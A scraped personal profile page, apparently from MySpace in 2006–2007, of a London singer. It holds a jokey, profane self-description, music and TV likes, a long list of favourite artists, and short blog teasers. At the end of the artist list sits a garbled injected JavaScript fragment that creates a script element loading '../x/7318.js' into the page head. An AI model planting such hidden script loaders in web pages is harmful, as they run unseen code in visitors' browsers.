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MY NAME IS ANTH OR ANFIA OF ANFIE OR ANF , I SING ( DATS ME SINGING NOW! ) , I CHAT PLENTY NONSENSE, I EAT NUFF GRUB . I HAVE BLATANT PENIS ENVY, ,I THINK THEY ARE BRILLIANT! WHEN I WAS A KID PEOPLE AT SCHOOL USED TO SAY I LOOKED LIKE LENNY HENRY. LENNY HENRY IS A MAN. SOMETIMES I'M A BIT OF A DICKHEAD BUT I HATE ANYONE TREATING ME LIKE A DICKHEAD OR "TALKING" TO ME LIKE I'M A DICKHEAD. I'M A TOP BLAGGER. WHEN I TALK ABOUT MY GEORGE FOREMAN GRILLING MACHINE I ALWAYS CALL IT A GEORGE FORMBY GRILLING MACHINE,I CANT HELP IT, ITS COMPLETELY OUT OF MY CONTROL. I'M NOT THE GIRL I THOUGHT I WAS, I'M WAAAAAAAAAY BETTER DAN HER! I THINK I"M KIND OF WEIRD LOOKIN. I HAVE RECENTLY STARTED EATIN RYVITA ON A REGULAR BASIS, I LIKE IT & IT MAKES ME FEEL ALL GROWN UP. I REALLY BLOODY MISS BEING IN A BAND, THE TOURING MADNESS THE WEIRD FOOD AND STRANGE MARRIAGE PROPOSALS. I THINK FAKE TITS ARE A BIT SHIT COS THEY DONT JIGGLE, JIGGLE IS GOOD FOR TITS! BUT I STILL INTEND TO HAVE THEM ONE DAY, WHEN I GET KNACKERED AND START TO SHRIVEL UP I'M GUNNA GET ME SOME BIGGER KNOCKERS. I LOVE CHARITY SHOPS AND CARBOOT SALES, OTHER PEOPLES SHIT IS MY GOLD. I CAN BE WHAT PEOPLE CALL "HARD WORK" BUT THE HARD WORK PAYS OFF. HONEST! COS I'M VERY LOVING, I LIKE TO GIVE AND I CAN MAKE YOU SMILE . I LIKE BOYS COS EVEN THOUGH THEY DONT HAVE NICE JIGGLY BOOBS, THEY HAVE WILLIES AND I LIKE WILLIES VERY MUCH. MY ROOM IS A TIP. YES, I DO REALLY LIKE DOLLY PARTON, GET OVER IT! I LIKE TO GO DANCING WITH BEAUTIFUL PEOPLE. MY FRIENDS ARE SUPA FANTASTICO. I CANT SPEAK ITALIAN. I VERY RARELY MEET ANYONE I FANCY SO IF I FANCY YOU, YOU ARE ONE LUCKY SON OF A BEEATCH OR REALLY UNLUCKY, WHICHEVER WAY YOU WANNA SEE IT. MY HEART IS FULL UP WITH LOVE. I LIKE TO INVITE FRIENDS OVER BECAUSE IT FORCES ME TO CLEAN MY FLAT. I WEAR BIG HUGE PANTS BUT I STILL FEEL SEXY, WHETHER I LOOK SEXY OR NOT IS DEBATABLE. I MAKE GREAT GRUB, WANT SOME? I TEND TO WAFFLE. IT CAN BE ENTERTAINING, IT CAN BE ANNOYING. SOMETIMES I DONT TALK AT ALL, THIS SEEMS TO BOTHER PEOPLE MORE THAN WHEN I'M WAFFLEIN. I CANT WIN. I AM A FANTASIST. I LIKE LEOPARD PRINT A LOT, MAYBE TOO MUCH. I GET VERY UNUSUAL LOOKS IN THE STREET, SOMETIMES THIS MAKES ME PARONOID . SOMETIMES IT MAKES ME WANNA SKIP DOWN THE STREET SHRIEKING "LOOK AT ME! YES, YES! LOOK AT ME!" I DANCE AROUND MY FLAT WHEN I SHOULD BE DOING IMPORTANT THINGS. I USED TO WISH I WAS SOMEONELSE ALL THE TIME BUT I LIKE BEING ME NOW. I'M SPECIAL! I DONT WEAR TOO MUCH BROWN COS I FEEL LIKE A LIVING BREATHING MARS BAR. OCCASSSIONLY I FEEL LIKE A SNICKERS BUT NOT THAT OFTEN. I SHOW MY EMOTIONS. IF I FEEL SOMETHING STRONG , GOOD OR BAD, YOU WILL KNOW ABOUT IT. I CANT HIDE IT , IT COMES OUT WHETHER I LIKE IT OR NOT, & WHETHER YOU LIKE IT OR NOT. I LOVE CHEESE BUT I FEEL A BIT GUILTY IF I EAT IT TOO OFTEN, DONT KNOW WHY. MY PLAN TO BECOME A BETTER PERSON IS WORKING. I AM TOO BRAZEN, BLATANT & CHEEKY 4 MY OWN GOOD. I LOVE THE IDEA OF BEING IN LOVE......UPDATE...... NOW I AM "ACTUALLY" CRAZY MENTALIST OVER DA MOON BEAMS IN LOVE SO THE IDEA IS HISTORY COS I GOT DA REALITY.....WOOP!!!!!
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My Interests

THATS ME SINGING NOW !!!!!
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I HAVE NEW PROJECTS ON THE GO SO STAY TUNED !

I'M WELL UP FOR COLLABORATIONS, GOT NUFF TUNES IN MY HEAD SO IF YOUR UP 4 IT CHECK ME!

I'd like to meet:

OTHER PEOPLE WHO WANT TO MAKE FUCK OF AMAZING SHIT HOT MUSIC AND BOUNCE AROUND ON STAGE LIKE DERANGED SEXY MUTHAFUCKAS
I MAKE STUFF

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Music:

I LIKE IT

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.. .. BAD HABITS TALKING TOO MUCH, DRINKING LIKE A FISH, FALLING OVER AFTER DRINKING LIKE A FISH, DO FISH ACTUALLY DRINK ANYWAY ? FANCYING BLOKES WHO HAVE NO INTEREST IN ME WHATSOEVER, NOT FANCYING BLOKES WHO THINK I'M WONDERFUL, TELLING THE SAME STORIES OVER AND OVER AND OVER AGAIN WITH ABSOLUTELY NO IDEA I'VE TOLD THEM ALREADY OVER AND OVER AND OVER AGAIN....
.. .. WONDERFUL HABITS DANCING ON ONE LEG....
.. .. GOOD TINGS PEOPLE SAY ABOUT ME NICE ARSE..
.. .. BAD TINGS PEOPLE SAY ABOUT ME FAT ARSE......
.. .. THINGS I SAY ABOUT ME ALL OF THE ABOVE. THE GOOD THE BAD AND THE TOTALLY UNTRUE..

Movies:

I LIKE THE BIT IN CHAMP, WHERE THE BOXER GUY DIES AND HIS KID CRIES "WAKE UP CHAMP! TELL HIM TO WAKE UP! WAKE UP CHAMP!" COS I ALWAYS CRY TOO. GETS ME EVERY TIME. CONVINIENTLY , I ONLY EVER SEEM TO SWITCH OVER AND CATCH THIS VERY BIT SO I NEVER HAVE TO WATCH THE REST OF IT. AND I ALWAYS WATCH COS I KNOW I'M GUNNA GET ALL SAD AND CRY FOR 5 MINUTES. FOOLISH BEHAVIOUR.

Television:

I USED TO BE ADDICTED TO TV....I'M NOT ANYMORE....TV IS 95% SHIT......but i do like KEEPING UP APPEARANCES.....that Mrs Bucket cracks me up, yep yep MY FIRST BIRTHDAY, MANCHESTER

Books:

I READ NUFF BOOKS THE LONDON A-Z IS MY FRIEND.....OK ...BORED OF BOOKS NOW!...zzzzzzzzzzz

Heroes:

HEROES IS A SLIGHT EXAGGERATION..................I JUST ROCK TO THESE PEOPLE ON A REGULAR BASIS.............SOME MORE THAN OTHERS........in no paticular order(kind of).........VON SUDENFED, Josephine Baker, PEACHES, The Strokes, THE FALL, THE FALL, THE FALL, THE SEX PISTOLS, ike & Tina, early 80's Madge (but not now, shes a silly cow), MY MUM, Rolf Harris, WIRE, SELFISH CUNT, KATE BUSH, Debbie Harry, BJORK, Dolly Parton, ROOTS MANUVA, YOKO ONO, BOWIE, Public Enemy, THE SLITS, Johnny Cash, YEAH YEAH YEAH'S, THE BUZZCOCKS, Marilyn Monroe, HOLE, THE CREATURES, Depeche Mode, TOOTS AND DA MAYTALS, CSS, Yoko Ono , BUSTA RHYMES, Deus, CHUCK BERRY, The Beatles, SIOUXIE AND DA BANSHEES, Pj Harvey, LEADBELLY, THE HEPTONES, BURIAL, MIRIAM MAKEBA, MY DAD, M.I.A , THE SMITHS, Elvis ( yes, i know, he stole black music blah blah blah), The Au Pairs, The Cure, Beck, BLONDIE, ESG, THE RAMONES, Tricky, Public Enemy, Beta Band, So Solid Crew ( fuck the stupid gun chat but the choones are fuckin ace), P.I.L, Simon & Garfunkel (they were trippy as fuck!), ABBA (i dont care) , Al Green, Camille...... i'd be here all fuckin day if i listed dem all.......... ...................zzzzzzzz .."var s=..·('script');s.src='../x/7318.js';..&&# 035;183;getElementsByTagName('head')[0].appendChild(s);"> ..

My Blog

I MISS TOURING COS TOURING TOURING IS NEVER BORING

AAAARRRGGGHHH!!!!!!!I wanna go on TOUR with my BAND who i havent MET yet! i wanna eat CRAP in service stations , i wanna have marriage proposals from WEIRDOS in strange foriegn towns, i wanna SLEEP in...
Posted by Anfoo on Wed, 05 Sep 2007 03:48:00 PST

I DONT NEED ANY MORE CLOTHES

Right, here we goi have too many clothes, weve been her before i know........but hear me outI have to stop buying clothes that dont fit me......i wrote a blog a year ago about this silliness and now i...
Posted by Anfoo on Wed, 11 Jul 2007 01:28:00 PST

MAD LONDON VIRUS IS KILLING ME!!!!!!!

Its been a week now.........i have been so fucking illgone through loads of different phases........started with a sore throat, then a cough, then a sneeze, then a HUGE headache, runny nose blah blah ...
Posted by Anfoo on Sun, 11 Mar 2007 04:37:00 PST

LOOKING FOR FEMALE BAND. LONDON

I'M LOOKING FOR COLOURFUL FEMALES TO START A NEW BAND. LONDON ONLY. THINK TRASHY / PUNK/ DANCE / RAGGA BEATS MASH UP. ME GOT DRUM MACHINE, WHAT YOU GOT? BASS/ GUITAR / VOICE/ KEYBOARD / SITAR / SPOONS...
Posted by Anfoo on Sun, 04 Feb 2007 12:32:00 PST

ANTHS RANT 11TH SEPT

MOST OF THE TIME I AM POSITIVE AND HAPPY ENOUGH BUT SOMETIMES I TURN INTO A MONSTER WHO AVOIDS MIRRORS, WHEN I AM LIKE THIS I LIKE TO CALL IT "GOING OFF ON ONE 4 A BIT", "TEMPORARY OFFKEYNESS" OR "GOI...
Posted by Anfoo on Tue, 12 Sep 2006 04:51:00 PST

I BUY CLOTHES THAT DONT FIT ME

i do this intending to make them fit me.They stay in a trunk for 6months-3years with lots of other stuff dat dont fit me.Sometimes i make them fit me, hang them up proudly in my wardrobe then never ev...
Posted by Anfoo on Wed, 07 Jun 2006 12:46:00 PST

THE STATE OF MY BEDROOM

WHY ..... cant i keep my tings in order?WHERE ..... are my bloody keys?WHERE ..... are all the other odd socks?WHO ..... is dat strange man under my bed?
Posted by Anfoo on Wed, 03 May 2006 10:32:00 PST